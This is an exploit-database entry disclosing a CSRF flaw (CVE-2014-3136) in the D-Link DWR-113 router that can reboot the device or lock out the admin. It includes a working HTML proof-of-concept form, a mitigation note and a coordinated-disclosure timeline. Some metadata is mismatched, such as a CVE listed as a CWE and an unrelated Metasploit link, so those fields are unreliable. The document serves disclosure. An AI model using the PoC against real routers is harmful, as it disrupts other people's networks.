Dlink DWR-113 Rev. Ax - CSRF causing Denial of Service

vendor:

DWR-113

by:

Blessen Thomas

8,8

CVSS

HIGH

Denial of Service via CSRF

352

CWE

Product Name: DWR-113

Affected Version From: v2.02 2013-03-13

Affected Version To: v2.02 2013-03-13

Patch Exists: YES

Related CWE: CVE-2014-3136

CPE: h:d-link:dwr-113

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2015-1214/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2014

Dlink DWR-113 Rev. Ax – CSRF causing Denial of Service

It was observed that the D-link DWR-113 wireless router is vulnerable to denial of service attack via CSRF(Cross-Site Request Forgery) vulnerability. An attacker could craft a malicious CSRF exploit to change the password in the password functionality when the user(admin) is logged in to the application ,as the user interface (admin panel) lacks the csrf token or nonce to prevent an attacker to change the password. As a result, as soon as the crafted malicious exploit is executed the router is rebooted and the user could not login thus forcing to reset the router’s device physically ,leading to a denial of service condition.

Mitigation:

Implementing CSRF tokens or nonce to prevent an attacker to change the password.

Source

Exploit-DB raw data:

Exploit Title:  Dlink DWR-113 Rev. Ax - CSRF causing Denial of Service
Google dork : N/A
Exploit Author: Blessen Thomas
Date : 29/07/14
Vendor Homepage : http://www.dlink.com/
Software Link : N/A
Firmware version: v2.02 2013-03-13
Tested on : Windows 7
CVE : CVE-2014-3136
Type of Application :  Web application
Release mode : Coordinated disclosure



Vulnerability description:



It was observed that the D-link DWR-113 wireless router is vulnerable to
denial of service attack via CSRF(Cross-Site Request Forgery) vulnerability.



An attacker could craft a malicious CSRF exploit to change the password in
the password functionality when the user(admin) is logged in to the
application ,as the user interface (admin panel) lacks the csrf token or
nonce to prevent an attacker to change the password.



As a result, as soon as the crafted malicious exploit is executed the
router is rebooted and the user could not login thus forcing to reset the
router’s device physically ,leading to a denial of service condition.



POC code (exploit) :



*Restart Router by CSRF*



<html>

  <!-- CSRF PoC --->

  <body>

    <form action="http://192.168.0.1/rebo.htm">

      <input type="hidden" name="S00010002" value="test" />

      <input type="hidden" name="np2" value="test" />

      <input type="hidden" name="N00150004" value="0" />

      <input type="hidden" name="N00150001" value="" />

      <input type="hidden" name="N00150003" value="1080" />

      <input type="hidden" name="_cce" value="0x80150002" />

      <input type="hidden" name="_sce" value="%Ssc" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>





Tools used :

Mozilla firefox browser v28.0 , Burp proxy free edition v1.5



Timeline :



06-04-14 : Contacted Vendor with details of Vulnerability and Exploit.



06-04-14 : Vendor D-Link forwards to R&D team for review



29-04-14 : Vendor contacted to know the status.



01-05-14 : Vendor acknowledged and released a patch



01-05-14 : CVE ID provided by Mitre team.



http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10034